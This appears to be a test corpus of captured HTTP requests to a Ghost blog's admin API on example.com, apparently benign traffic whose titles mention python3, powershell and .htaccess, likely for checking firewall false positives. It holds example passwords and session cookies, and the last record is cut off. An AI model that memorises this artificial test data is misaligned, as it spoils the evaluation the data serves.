{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 207", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0\",\"name\":\"Bob Example\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"bob@example.com\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"bob@example.com\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\"}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft%2Bauthors%3Abob&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/newsletter-detail-modal-D7J2VZwE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/form-section-DvfOHVon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/html-field-CjQZo4D_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/preview-modal-BlZMSkK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-cover-yM4cP_Mo.jpg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/?include=count.active_members%2Ccount.posts", "headers": ["Host: example.com", "Content-Length: 1340", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\",\"uuid\":\"695dbeb5-0877-4cb3-8e1a-53f2ea88dd55\",\"name\":\"Shell tips weekly: python3 & powershell\",\"description\":null,\"feedback_enabled\":false,\"slug\":\"default-newsletter\",\"sender_name\":\"Alice from Example Blog\",\"sender_email\":null,\"sender_reply_to\":\"newsletter\",\"status\":\"active\",\"visibility\":\"members\",\"subscribe_on_signup\":true,\"sort_order\":0,\"header_image\":null,\"show_header_icon\":true,\"show_header_title\":true,\"title_font_category\":\"sans_serif\",\"title_font_weight\":\"bold\",\"title_alignment\":\"center\",\"show_excerpt\":false,\"show_feature_image\":true,\"body_font_category\":\"sans_serif\",\"footer_content\":\"<p dir=\\\"ltr\\\"><span>Questions about python3, powershell or .htaccess? Reply to this email.</span></p>\",\"show_badge\":true,\"show_header_name\":false,\"show_post_title_section\":true,\"show_comment_cta\":true,\"show_share_button\":false,\"show_subscription_details\":false,\"show_latest_posts\":false,\"background_color\":\"light\",\"header_background_color\":\"transparent\",\"button_color\":\"accent\",\"link_color\":\"accent\",\"post_title_color\":null,\"section_title_color\":null,\"divider_color\":null,\"button_corners\":\"rounded\",\"button_style\":\"fill\",\"image_corners\":\"square\",\"link_style\":\"underline\",\"created_at\":\"2026-11-11T11:52:48.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"count\":{\"posts\":0,\"active_members\":0}}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/add-integration-modal-Db8lCsZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"integrations\":[{\"name\":\"Example sync for python3 scripts\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/custom-integration-modal-DQA3GFy6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/design-and-theme-modal-D0LQ4lu4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/modal-page-BJksnimm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-breadcrumbs-DmaKJn41.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-design-form-Dzxmr_cn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/iframe-buffering-CJ8F4CUT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Source-V-WXZXnS.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Source-Magazine-Czq1p0a_.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Source-Newsletter-CwTcfhJ-.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Casper-ASA9Ix4v.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Edition-cIDLjlhj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Solo-c-yPo0gw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Taste-U2cRR2yO.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Episode-D7bgV2bY.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Digest-DJl0U_FG.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Bulletin-BUpcurG5.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Alto-DoS3yH_j.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Dope-D_CgP0p0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Wave-DE2aI-FM.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Edge-BPZxvKka.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Dawn-aeEVEPie.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Ease-B4NuA7sj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Headline-BFXOunIb.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Ruby-DVEXVMTx.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/London-CSCVHwS0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Journal-D3UW9T2b.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/footer-marketplace-bg-cXGt4GLt.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/slugs/post/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/pages/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 486", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3526", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & 